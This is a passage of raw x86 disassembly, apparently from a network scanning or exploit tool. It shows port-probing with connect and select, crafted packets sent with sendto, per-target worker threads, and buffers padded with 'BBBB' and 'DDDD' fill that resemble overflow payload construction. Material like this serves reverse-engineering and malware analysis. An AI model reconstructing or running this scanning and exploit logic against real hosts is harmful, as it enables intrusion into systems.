eax, [esp+1Ch+var_4] cmp eax, ebx jnz short loc_13CDBFC call esi ; rand loc_13CDBFC: ; CODE XREF: sub_13CDB70+88j mov edi, [esp+1Ch+var_10] mov edx, [esp+1Ch+var_C] shl eax, 8 mov ecx, [esp+1Ch+arg_4] add eax, edi shl eax, 8 add eax, edx mov edx, [esp+1Ch+var_8] shl eax, 8 add eax, edx pop esi pop edi mov ds:dword_1029D38[ecx*8], eax pop ebx add esp, 10h retn sub_13CDB70 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CDC60 proc near ; CODE XREF: sub_13AC238j var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = word ptr -114h var_112 = word ptr -112h var_110 = dword ptr -110h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 120h push esi push edi mov edi, 1 push 0 push edi push 2 mov [esp+134h+var_120], edi call socket ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_13CDC8E pop edi xor eax, eax pop esi add esp, 120h retn ; --------------------------------------------------------------------------- loc_13CDC8E: ; CODE XREF: sub_13CDC60+21j mov ecx, [esp+128h+arg_4] mov eax, [esp+128h+arg_0] push ecx mov [esp+12Ch+var_114], 2 mov [esp+12Ch+var_110], eax call htons ; htons lea edx, [esp+128h+var_120] mov [esp+128h+var_112], ax push edx push 8004667Eh push esi call ioctlsocket ; ioctlsocket lea eax, [esp+128h+var_114] push 10h push eax push esi call connect ; connect mov ecx, [esp+128h+arg_8] lea edx, [esp+128h+var_11C] push edx lea eax, [esp+12Ch+var_104] push 0 push eax push 0 push 0 mov [esp+13Ch+var_11C], ecx mov [esp+13Ch+var_118], 0 mov [esp+13Ch+var_100], esi mov [esp+13Ch+var_104], edi call select ; select push esi mov edi, eax call closesocket ; closesocket xor eax, eax test edi, edi pop edi pop esi setnle al add esp, 120h retn sub_13CDC60 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CDD50 proc near ; CODE XREF: sub_13AB446j var_38 = byte ptr -38h var_34 = byte ptr -34h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_E = word ptr -0Eh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_A = word ptr 0Eh arg_C = dword ptr 10h arg_10 = dword ptr 14h arg_14 = word ptr 18h arg_16 = word ptr 1Ah arg_18 = word ptr 1Ch arg_1A = word ptr 1Eh arg_1C = word ptr 20h arg_1E = word ptr 22h arg_20 = word ptr 24h arg_22 = word ptr 26h arg_24 = word ptr 28h arg_26 = word ptr 2Ah arg_28 = dword ptr 2Ch arg_2C = dword ptr 30h arg_30 = byte ptr 34h arg_31 = byte ptr 35h arg_9A = word ptr 9Eh arg_9C = byte ptr 0A0h arg_A6 = word ptr 0AAh arg_B2 = word ptr 0B6h arg_10100 = dword ptr 10104h arg_10104 = dword ptr 10108h arg_10108 = dword ptr 1010Ch arg_10114 = dword ptr 10118h mov eax, 10110h call near ptr 13E0C60h push ebx push ebp mov ebp, htons push esi push edi push 2649h call ebp ; htons mov word ptr [esp+14h+arg_C], ax mov eax, [esp+14h+arg_10114] push eax call ebp ; htons mov [esp+18h+arg_A], ax call rand ; rand xor ebx, ebx push 200h mov [esp+1Ch+arg_C], eax mov [esp+1Ch+arg_10], ebx mov [esp+1Ch+arg_14], bx mov [esp+1Ch+arg_24], bx mov [esp+1Ch+arg_16], 5 mov [esp+1Ch+arg_18], bx mov [esp+1Ch+arg_1A], 1 mov [esp+1Ch+arg_1C], bx mov [esp+1Ch+arg_1E], bx mov [esp+1Ch+arg_20], bx mov [esp+1Ch+arg_22], bx call ebp ; htons mov ecx, [esp+1Ch+arg_10104] mov edx, [esp+1Ch+arg_10108] push 24h mov [esp+20h+arg_22], ax mov [esp+20h+arg_24], bx mov [esp+20h+arg_26], bx mov [esp+20h+arg_28], ecx mov [esp+20h+arg_2C], edx mov [esp+20h+arg_30], bl mov [esp+20h+arg_31], 6 call ebp ; htons mov word ptr [esp+20h+arg_2C+2], ax mov ecx, 9 lea esi, [esp+20h+arg_0] lea edi, [esp+20h+arg_30] lea eax, [esp+20h+arg_24] push 20h rep movsd push eax call sub_13ABE28 mov edx, [esp+28h+arg_10108] xor ecx, ecx mov [esp+28h+var_C], ecx add esp, 8 mov [esp+20h+var_8], ecx mov [esp+20h+arg_20], ax mov [esp+20h+var_4], ecx push edx mov [esp+24h], ecx mov word ptr [esp+24h+var_C], 2 call ebp ; htons mov [esp+24h+var_E], ax mov eax, [esp+24h+arg_10100] push 6 push 3 push 2 mov [esp+30h+var_C], eax mov [esp+30h+var_14], 10h call socket ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_13CDE79 push offset dword_444700 jmp loc_13CDF78 ; --------------------------------------------------------------------------- loc_13CDE79: ; CODE XREF: sub_13CDD50+11Dj mov ecx, [esp+30h+var_20] lea edx, [esp+30h+var_1C] push ecx push edx push ebx lea eax, [esp+3Ch+var_C] push 24h push eax push esi call sendto ; sendto mov edi, eax cmp edi, 14h jz short loc_13CDED2 call WSAGetLastError ; WSAGetLastError push eax push edi lea ecx, [esp+50h+arg_1C] push offset dword_4446D0 push ecx call wsprintfA ; wsprintfA lea edx, [esp+58h+arg_1C] push edx call sub_13AB4D2 add esp, 14h push esi call closesocket ; closesocket pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- loc_13CDED2: ; CODE XREF: sub_13CDD50+147j mov ecx, 400Dh xor eax, eax lea edi, [esp+48h+arg_9C] mov ebp, 2649h rep stosd stosw stosb cmp [esp+48h+arg_B2], bp jz short loc_13CDF23 mov edi, recvfrom loc_13CDEFA: ; CODE XREF: sub_13CDD50+1D1j lea eax, [esp+48h+var_38] lea ecx, [esp+48h+var_34] push eax push ecx push ebx lea edx, [esp+54h+arg_9C] push 10037h push edx push esi call edi ; recvfrom test eax, eax jl short loc_13CDF52 cmp [esp+60h+arg_9A], bp jnz short loc_13CDEFA loc_13CDF23: ; CODE XREF: sub_13CDD50+1A2j push esi call closesocket ; closesocket cmp [esp+64h+arg_A6], 1 jnz short loc_13CDF73 push offset dword_4446C0 call sub_13AB4D2 add esp, 4 mov eax, 1 pop edi pop esi pop ebp pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- loc_13CDF52: ; CODE XREF: sub_13CDD50+1C7j push offset dword_4446A0 call sub_13AB4D2 add esp, 4 push esi call closesocket ; closesocket pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- loc_13CDF73: ; CODE XREF: sub_13CDD50+1E3j push offset dword_44468C loc_13CDF78: ; CODE XREF: sub_13CDD50+124j call sub_13AB4D2 add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 10110h retn sub_13CDD50 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 3 dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_13CE020: ; CODE XREF: sub_13AC323j sub esp, 290h mov eax, [esp+294h] push ebx push ebp push esi push edi mov ecx, 53h mov esi, eax lea edi, [esp+18h] rep movsd mov edi, [esp+13Ch] mov ecx, [esp+140h] mov [esp+10h], edi mov [esp+14h], ecx mov dword ptr [eax+148h], 1 call GetTickCount ; GetTickCount push eax call srand ; srand lea eax, [edi+edi*4] add esp, 4 lea edx, [eax+eax*4] lea eax, [edi+edx*8] lea eax, [eax+eax*4] lea eax, [eax+eax*4] lea ebp, dword_448FDB[edi+eax*2] mov eax, ds:dword_44B6EE[edi+eax*2] mov ecx, ds:dword_1029D3C[eax*8] test ecx, ecx jz loc_13CE2DD mov ebx, wsprintfA loc_13CE0A0: ; CODE XREF: .idata:013CE2D7j mov ecx, [esp+158h] push eax test ecx, ecx jz short loc_13CE0BB lea ecx, [esp+1Ch] push ecx call sub_13AB531 add esp, 8 jmp short loc_13CE0C3 ; --------------------------------------------------------------------------- loc_13CE0BB: ; CODE XREF: .idata:013CE0AAj call sub_13AC337 add esp, 4 loc_13CE0C3: ; CODE XREF: .idata:013CE0B9j mov edx, [esp+14h] mov ecx, [esp+12Ch] mov esi, eax mov eax, [ebp+2713h] push edx push eax push ecx push esi call inet_ntoa ; inet_ntoa push eax lea edx, [esp+230h] push 444740h push edx call ebx ; wsprintfA add esp, 18h lea eax, [esp+220h] push eax push ebp call ebx ; wsprintfA mov ecx, [esp+138h] mov edx, [esp+134h] push ecx push edx push esi call sub_13AC238 add esp, 14h cmp eax, 1 jnz loc_13CE2BD cmp dword ptr [esp+148h], 0FFFFFFFFh jnz loc_13CE1D8 push offset dword_102BC78 call EnterCriticalSection mov eax, [esp+12Ch] push eax push esi call inet_ntoa ; inet_ntoa push eax lea ecx, [esp+228h] push 444718h push ecx call ebx ; wsprintfA mov eax, [esp+164h] add esp, 10h test eax, eax jnz short loc_13CE1B8 mov al, [esp+0A8h] test al, al jz short loc_13CE193 mov edx, [esp+150h] lea eax, [esp+220h] push edx mov edx, [esp+12Ch] lea ecx, [esp+0ACh] push eax push ecx push edx jmp short loc_13CE1B0 ; --------------------------------------------------------------------------- loc_13CE193: ; CODE XREF: .idata:013CE16Fj mov eax, [esp+150h] lea ecx, [esp+220h] push eax mov eax, [esp+12Ch] lea edx, [esp+2Ch] push ecx push edx push eax loc_13CE1B0: ; CODE XREF: .idata:013CE191j call sub_13AB923 add esp, 10h loc_13CE1B8: ; CODE XREF: .idata:013CE164j lea ecx, [esp+220h] push ecx call sub_13AB4D2 add esp, 4 push offset dword_102BC78 call LeaveCriticalSection jmp loc_13CE2BD ; --------------------------------------------------------------------------- loc_13CE1D8: ; CODE XREF: .idata:013CE128j push esi call inet_ntoa ; inet_ntoa lea edx, [esp+168h] push eax push edx call ebx ; wsprintfA mov eax, [esp+150h] add esp, 8 lea edx, [esp+1F8h] lea eax, [eax+eax*2] lea eax, [eax+eax*4] lea ecx, ds:444430h[eax*4] push ecx push edx call ebx ; wsprintfA mov al, [esp+0B0h] add esp, 8 test al, al jz short loc_13CE22C lea eax, [esp+0A8h] lea ecx, [esp+178h] push eax push ecx jmp short loc_13CE239 ; --------------------------------------------------------------------------- loc_13CE22C: ; CODE XREF: .idata:013CE218j lea edx, [esp+28h] lea eax, [esp+178h] push edx push eax loc_13CE239: ; CODE XREF: .idata:013CE22Aj call ebx ; wsprintfA mov ecx, [esp+130h] mov eax, [esp+15Ch] mov edx, [esp+158h] add esp, 8 mov [esp+164h], ecx mov ecx, [esp+12Ch] mov [esp+216h], eax mov eax, [esp+148h] sub esp, 0BCh mov [esp+2BEh], ecx mov [esp+2C2h], edi mov ecx, 2Eh lea esi, [esp+220h] mov edi, esp mov [esp+2CEh], edx mov [esp+2C6h], eax rep movsd lea eax, [eax+eax*2] movsw lea edx, [eax+eax*4] call ds:dword_44445C[edx*4] mov edi, [esp+0CCh] add esp, 0BCh loc_13CE2BD: ; CODE XREF: .idata:013CE11Aj ; .idata:013CE1D3j push 7D0h call Sleep ; Sleep mov eax, [ebp+2713h] mov ecx, ds:dword_1029D3C[eax*8] test ecx, ecx jnz loc_13CE0A0 loc_13CE2DD: ; CODE XREF: .idata:013CE094j push edi call sub_13AC224 add esp, 4 push 0 call ExitThread ; ExitThread nop nop ; --------------------------------------------------------------------------- db 0C0h dup(0CCh) ; --------------------------------------------------------------------------- loc_13CE3B0: ; CODE XREF: sub_13AC661j mov eax, [esp+4] sub esp, 1CCh mov ecx, 53h push ebx push ebp push esi push edi mov esi, eax lea edi, [esp+10h] mov ebx, 1 rep movsd mov [eax+144h], ebx lea eax, [esp+10h] push eax call inet_addr ; inet_addr sub esp, 14Ch lea esi, [esp+15Ch] mov ecx, [esp+27Ch] mov edi, esp mov ds:dword_1029D38[ecx*8], eax mov ecx, 53h rep movsd call j_nullsub_7 push 3 call sub_13AB883 add esp, 150h cmp eax, ebx jnz short loc_13CE431 push offset dword_102BC78 call DeleteCriticalSection push offset dword_102BC78 call InitializeCriticalSection ; InitializeCriticalSection loc_13CE431: ; CODE XREF: .idata:013CE419j mov edx, [esp+130h] mov eax, [esp+13Ch] mov ebp, Sleep mov esi, ebx mov ds:dword_1029D3C[edx*8], ebx cmp eax, ebx mov ebx, wsprintfA jb loc_13CE56C mov edi, CreateThread loc_13CE462: ; CODE XREF: .idata:013CE566j mov eax, [esp+130h] mov ecx, [esp+124h] push esi push eax lea edx, [esp+18h] push ecx push edx lea eax, [esp+16Ch] push offset dword_444808 push eax mov [esp+150h], esi call ebx ; wsprintfA push 0 lea ecx, [esp+178h] push 3 push ecx call sub_13ABFD6 lea ecx, [eax+eax*4] add esp, 24h mov [esp+134h], eax lea edx, [ecx+ecx*4] push 0 push 0 lea ecx, [eax+edx*8] mov edx, [esp+138h] lea ecx, [ecx+ecx*4] lea ecx, [ecx+ecx*4] mov ds:dword_44B6EE[eax+ecx*2], edx lea eax, [esp+18h] push eax push 401F23h push 0 push 0 call edi ; CreateThread mov ecx, [esp+134h] lea edx, [ecx+ecx*4] lea edx, [edx+edx*4] lea edx, [ecx+edx*8] lea edx, [edx+edx*4] lea edx, [edx+edx*4] mov ds:dword_44B6FE[ecx+edx*2], eax mov eax, [esp+134h] lea ecx, [eax+eax*4] lea ecx, [ecx+ecx*4] lea ecx, [eax+ecx*8] lea ecx, [ecx+ecx*4] lea edx, [ecx+ecx*4] mov ecx, ds:dword_44B6FE[eax+edx*2] test ecx, ecx jz short loc_13CE534 mov eax, [esp+158h] test eax, eax jnz short loc_13CE55A loc_13CE523: ; CODE XREF: .idata:013CE530j push 1Eh call ebp ; Sleep mov eax, [esp+158h] test eax, eax jz short loc_13CE523 jmp short loc_13CE55A ; --------------------------------------------------------------------------- loc_13CE534: ; CODE XREF: .idata:013CE516j call GetLastError push eax lea eax, [esp+160h] push offset dword_4447C8 push eax call ebx ; wsprintfA lea ecx, [esp+168h] push ecx call sub_13AB4D2 add esp, 10h loc_13CE55A: ; CODE XREF: .idata:013CE521j ; .idata:013CE532j push 1Eh call ebp ; Sleep inc esi cmp esi, [esp+13Ch] jbe loc_13CE462 loc_13CE56C: ; CODE XREF: .idata:013CE456j mov eax, [esp+12Ch] test eax, eax jz short loc_13CE59A lea eax, [eax+eax*2] lea eax, [eax+eax*4] lea eax, [eax+eax*4] lea eax, [eax+eax*4] lea edx, [eax+eax*4] shl edx, 5 push edx call ebp ; Sleep mov esi, 1 mov eax, [esp+12Ch] jmp short loc_13CE5CD ; --------------------------------------------------------------------------- loc_13CE59A: ; CODE XREF: .idata:013CE575j mov ecx, [esp+130h] mov esi, 1 cmp ds:dword_1029D3C[ecx*8], esi jnz short loc_13CE5CD loc_13CE5AF: ; CODE XREF: .idata:013CE5C4j push 7D0h call ebp ; Sleep mov edx, [esp+130h] cmp ds:dword_1029D3C[edx*8], esi jz short loc_13CE5AF mov eax, [esp+12Ch] loc_13CE5CD: ; CODE XREF: .idata:013CE598j ; .idata:013CE5ADj mov ecx, [esp+130h] mov edx, [esp+124h] push eax push edx mov ecx, ds:dword_1029D38[ecx*8] push ecx call inet_ntoa ; inet_ntoa push eax lea eax, [esp+168h] push offset dword_444780 push eax call ebx ; wsprintfA mov eax, [esp+160h] add esp, 14h test eax, eax jnz short loc_13CE62E mov ecx, [esp+148h] lea edx, [esp+15Ch] push ecx mov ecx, [esp+124h] lea eax, [esp+24h] push edx push eax push ecx call sub_13AB923 add esp, 10h loc_13CE62E: ; CODE XREF: .idata:013CE607j lea edx, [esp+15Ch] push edx call sub_13AB4D2 mov eax, [esp+134h] add esp, 4 push 0BB8h mov ds:dword_1029D3C[eax*8], 0 call ebp ; Sleep push 3 call sub_13AB883 add esp, 4 cmp eax, esi jnz short loc_13CE670 push offset dword_102BC78 call DeleteCriticalSection loc_13CE670: ; CODE XREF: .idata:013CE663j mov ecx, [esp+130h] push ecx call sub_13AC224 add esp, 4 push 0 call ExitThread ; ExitThread nop nop nop nop nop nop nop nop ; --------------------------------------------------------------------------- db 0C0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CE750 proc near ; CODE XREF: sub_13AB6A8j mov eax, ecx mov dword ptr [eax+4], 0 mov dword ptr [eax], 0 retn sub_13CE750 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CE770 proc near ; CODE XREF: sub_13AB9E1j var_8 = byte ptr -8 arg_0 = dword ptr 4 mov edx, [esp+arg_0] sub esp, 8 xor eax, eax push esi mov esi, ecx push edi mov edi, edx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx push ecx push edx lea ecx, [esp+18h+var_8] call sub_13ABC34 mov ecx, [eax] pop edi mov [esi], ecx mov edx, [eax+4] mov eax, esi mov [esi+4], edx pop esi add esp, 8 retn 4 sub_13CE770 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CE7C0 proc near ; CODE XREF: sub_13ABC34j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push ebp mov ebp, [esp+8+arg_4] mov ebx, ecx push ebp call malloc ; malloc mov edx, eax add esp, 4 test edx, edx jz short loc_13CE812 mov ecx, ebp push esi mov esi, ecx push edi xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+10h+arg_0] and ecx, 3 rep stosb mov ecx, ebp mov edi, edx mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax mov eax, ebx and ecx, 3 rep movsb pop edi mov [ebx+4], ebp pop esi mov [ebx], edx pop ebp pop ebx retn 8 ; --------------------------------------------------------------------------- loc_13CE812: ; CODE XREF: sub_13CE7C0+16j mov eax, ebx pop ebp pop ebx retn 8 sub_13CE7C0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CE840 proc near ; CODE XREF: sub_13AC5D5j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] push ebx mov ebx, ecx push ebp mov ecx, [esp+8+arg_C] lea ebp, [eax+ecx] push ebp call malloc ; malloc mov edx, eax add esp, 4 test edx, edx jz short loc_13CE8B4 mov ecx, ebp push esi mov esi, ecx push edi xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+10h+arg_0] and ecx, 3 rep stosb mov ecx, [esp+10h+arg_4] mov edi, edx mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [esp+10h+arg_C] mov esi, [esp+10h+arg_8] lea edi, [edx+eax] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax mov eax, ebx and ecx, 3 rep movsb pop edi mov [ebx+4], ebp pop esi mov [ebx], edx pop ebp pop ebx retn 10h ; --------------------------------------------------------------------------- loc_13CE8B4: ; CODE XREF: sub_13CE840+1Dj mov eax, ebx pop ebp pop ebx retn 10h sub_13CE840 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CE8E0 proc near ; CODE XREF: sub_13ABAB8j push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_13CE8F3 push eax call free ; free add esp, 4 loc_13CE8F3: ; CODE XREF: sub_13CE8E0+7j mov dword ptr [esi+4], 0 mov dword ptr [esi], 0 pop esi retn sub_13CE8E0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CE920 proc near ; CODE XREF: sub_13AB4A0j var_4 = dword ptr -4 push ecx push ebx mov ebx, ecx push ebp push esi mov eax, [ebx+4] cmp eax, 0FFFFh jl short loc_13CE937 pop esi pop ebp xor al, al pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_13CE937: ; CODE XREF: sub_13CE920+Ej xor ecx, ecx cmp eax, 7Fh setnl cl dec ecx and ecx, 0FFFFFFFEh add ecx, 3 mov esi, ecx add eax, esi mov [esp+10h+var_4], esi push eax call malloc ; malloc mov ebp, eax add esp, 4 test ebp, ebp jnz short loc_13CE965 pop esi pop ebp xor al, al pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_13CE965: ; CODE XREF: sub_13CE920+3Cj push edi mov edi, [ebx+4] mov ecx, esi xor eax, eax add ecx, edi mov edi, ebp mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 cmp esi, 1 rep stosb jnz short loc_13CE994 mov al, [ebx+4] lea edi, [ebp+1] mov [ebp+0], al mov ecx, [ebx+4] mov esi, [ebx] jmp short loc_13CE9AF ; --------------------------------------------------------------------------- loc_13CE994: ; CODE XREF: sub_13CE920+62j mov byte ptr [ebp+0], 82h mov eax, [ebx+4] sar eax, 8 mov [ebp+1], al mov cl, [ebx+4] mov [ebp+2], cl mov ecx, [ebx+4] mov esi, [ebx] lea edi, [ebp+3] loc_13CE9AF: ; CODE XREF: sub_13CE920+72j mov edx, ecx shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov eax, [ebx] push eax call free ; free mov ecx, [esp+18h+var_4] mov eax, [ebx+4] add esp, 4 add eax, ecx mov [ebx], ebp mov [ebx+4], eax pop edi pop esi pop ebp mov al, 1 pop ebx pop ecx retn sub_13CE920 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CEA10 proc near ; CODE XREF: sub_13ABF68j var_18 = byte ptr -18h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 8 push ebx push ebp mov ebp, ecx mov eax, [ebp+4] mov ecx, [ebp+0] push eax push ecx push 1 push offset dword_446F84 lea ecx, [esp+20h+var_8] call sub_13AC5D5 lea ecx, [esp+20h+var_18] call sub_13AB4A0 mov edx, [esp+20h+var_14] inc edx push edx call malloc ; malloc mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_13CEA55 pop ebp xor al, al pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_13CEA55: ; CODE XREF: sub_13CEA10+3Bj mov eax, [esp+10h+var_4] push esi push edi mov edi, ebx lea ecx, [eax+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb mov byte ptr [ebx], 3 mov ecx, [esp+18h+var_4] mov esi, [esp+18h+var_8] mov eax, ecx lea edi, [ebx+1] shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, ebp call sub_13ABAB8 mov ecx, [esp+18h+var_4] mov [ebp+0], ebx inc ecx mov [ebp+4], ecx lea ecx, [esp+18h+var_8] call sub_13ABAB8 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 8 retn sub_13CEA10 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CEAF0 proc near ; CODE XREF: sub_13AB6C6j var_18 = dword ptr -18h var_14 = dword ptr -14h var_8 = byte ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] sub esp, 8 push esi mov esi, ecx mov ecx, [esp+0Ch+arg_0] push eax mov edx, [esi+4] mov eax, [esi] push ecx push edx push eax lea ecx, [esp+1Ch+var_8] call sub_13AC5D5 mov ecx, esi call sub_13ABAB8 mov ecx, [esp+1Ch+var_18] mov edx, [esp+1Ch+var_14] mov [esi], ecx mov [esi+4], edx mov al, 1 pop esi add esp, 8 retn 8 sub_13CEAF0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CEB40 proc near ; CODE XREF: sub_13AC436j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov edx, ecx push edi mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx push esi mov ecx, edx call sub_13AB6C6 pop edi pop esi retn 4 sub_13CEB40 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CEB80 proc near ; CODE XREF: sub_13AB8FBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push eax push edx call sub_13AB6C6 retn 8 sub_13CEB80 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CEBB0 proc near ; CODE XREF: sub_13ABBCBj var_18 = dword ptr -18h var_14 = dword ptr -14h var_8 = byte ptr -8 sub esp, 8 push esi mov esi, ecx call sub_13AB4A0 test al, al jnz short loc_13CEBC4 pop esi add esp, 8 retn ; --------------------------------------------------------------------------- loc_13CEBC4: ; CODE XREF: sub_13CEBB0+Dj mov eax, [esi+4] mov ecx, [esi] push eax push ecx push 1 push offset dword_444BB4 lea ecx, [esp+1Ch+var_8] call sub_13AC5D5 mov ecx, esi call sub_13ABAB8 mov edx, [esp+1Ch+var_18] mov eax, [esp+1Ch+var_14] mov [esi], edx mov [esi+4], eax mov al, 1 pop esi add esp, 8 retn sub_13CEBB0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CEC20 proc near ; CODE XREF: sub_13AC2ABj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, ecx push eax mov ecx, [esp+8+arg_0] push ecx mov ecx, esi call sub_13AB8FB test al, al jnz short loc_13CEC3C pop esi retn 8 ; --------------------------------------------------------------------------- loc_13CEC3C: ; CODE XREF: sub_13CEC20+16j mov ecx, esi call sub_13ABBCB pop esi retn 8 sub_13CEC20 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CEC60 proc near ; CODE XREF: sub_13ABFEAj var_928 = byte ptr -928h var_920 = dword ptr -920h var_91C = dword ptr -91Ch var_914 = byte ptr -914h var_910 = byte ptr -910h var_90C = dword ptr -90Ch var_908 = dword ptr -908h var_904 = dword ptr -904h var_900 = byte ptr -900h var_8FC = byte ptr -8FCh var_8F8 = byte ptr -8F8h var_8F4 = dword ptr -8F4h var_8F0 = dword ptr -8F0h var_8E8 = dword ptr -8E8h var_8E4 = dword ptr -8E4h var_8E0 = byte ptr -8E0h var_8DC = byte ptr -8DCh var_8D8 = byte ptr -8D8h var_8D0 = dword ptr -8D0h var_8CC = dword ptr -8CCh var_8C8 = byte ptr -8C8h var_8C0 = byte ptr -8C0h var_8B8 = dword ptr -8B8h var_8B4 = dword ptr -8B4h var_8B0 = byte ptr -8B0h var_8A8 = dword ptr -8A8h var_8A4 = dword ptr -8A4h var_8A0 = dword ptr -8A0h var_89C = dword ptr -89Ch var_898 = dword ptr -898h var_894 = dword ptr -894h var_890 = byte ptr -890h var_888 = byte ptr -888h var_884 = byte ptr -884h var_880 = byte ptr -880h var_878 = byte ptr -878h var_870 = dword ptr -870h var_86C = dword ptr -86Ch var_868 = byte ptr -868h var_860 = byte ptr -860h var_85C = dword ptr -85Ch var_858 = byte ptr -858h var_850 = byte ptr -850h var_848 = byte ptr -848h var_844 = byte ptr -844h var_840 = byte ptr -840h var_83C = dword ptr -83Ch var_838 = dword ptr -838h var_834 = byte ptr -834h var_830 = byte ptr -830h var_82C = byte ptr -82Ch var_828 = byte ptr -828h var_820 = byte ptr -820h var_818 = dword ptr -818h var_814 = dword ptr -814h var_810 = byte ptr -810h var_CC = dword ptr -0CCh var_40 = dword ptr -40h var_8 = dword ptr -8 arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch arg_10 = dword ptr 14h sub esp, 858h lea ecx, [esp+858h+var_818] push ebx push esi call sub_13AB6A8 mov esi, [esp+860h+arg_8] cmp esi, 408h jg loc_13CF035 mov ebx, [esp+860h+arg_10] lea eax, [ebx+8] cmp eax, 408h ja loc_13CF035 push edi lea ecx, [esp+864h+var_830] call sub_13AB6A8 lea ecx, [esp+864h+var_840] call sub_13AB6A8 lea ecx, [esp+864h+var_810] call sub_13AB6A8 lea ecx, [esp+864h+var_848] call sub_13AB6A8 lea ecx, [esp+864h+var_820] call sub_13AB6A8 lea ecx, [esp+864h+var_828] call sub_13AB6A8 lea ecx, [esp+864h+var_838] call sub_13AB6A8 push 4 push offset dword_444850 lea ecx, [esp+86Ch+var_830] call sub_13AB6C6 push 3 push offset dword_444858 lea ecx, [esp+874h+var_838] call sub_13AB6C6 lea ecx, [esp+874h+var_840] call sub_13ABF68 lea ecx, [esp+874h+var_840] call sub_13ABBCB mov ecx, 200h mov eax, 42424242h lea edi, [esp+874h+var_810] push 8 rep stosd push offset dword_444844 lea ecx, [esp+87Ch+var_850] call sub_13AB6C6 mov ecx, [esp+87Ch+var_8] push ebx push ecx lea ecx, [esp+884h+var_858] call sub_13AB6C6 mov ebx, [esp+884h+var_85C] mov edx, 409h sub edx, ebx lea eax, [esp+884h+var_820] push edx push eax lea ecx, [esp+88Ch+var_860] call sub_13AB6C6 lea ecx, [esp+88Ch+var_868] call sub_13ABF68 push offset dword_444BD8 lea ecx, [esp+890h+var_838] call sub_13AC436 lea ecx, [esp+890h+var_83C] call sub_13ABF68 mov ecx, 200h mov eax, 44444444h lea edi, [esp+890h+var_82C] push 410h rep stosd lea ecx, 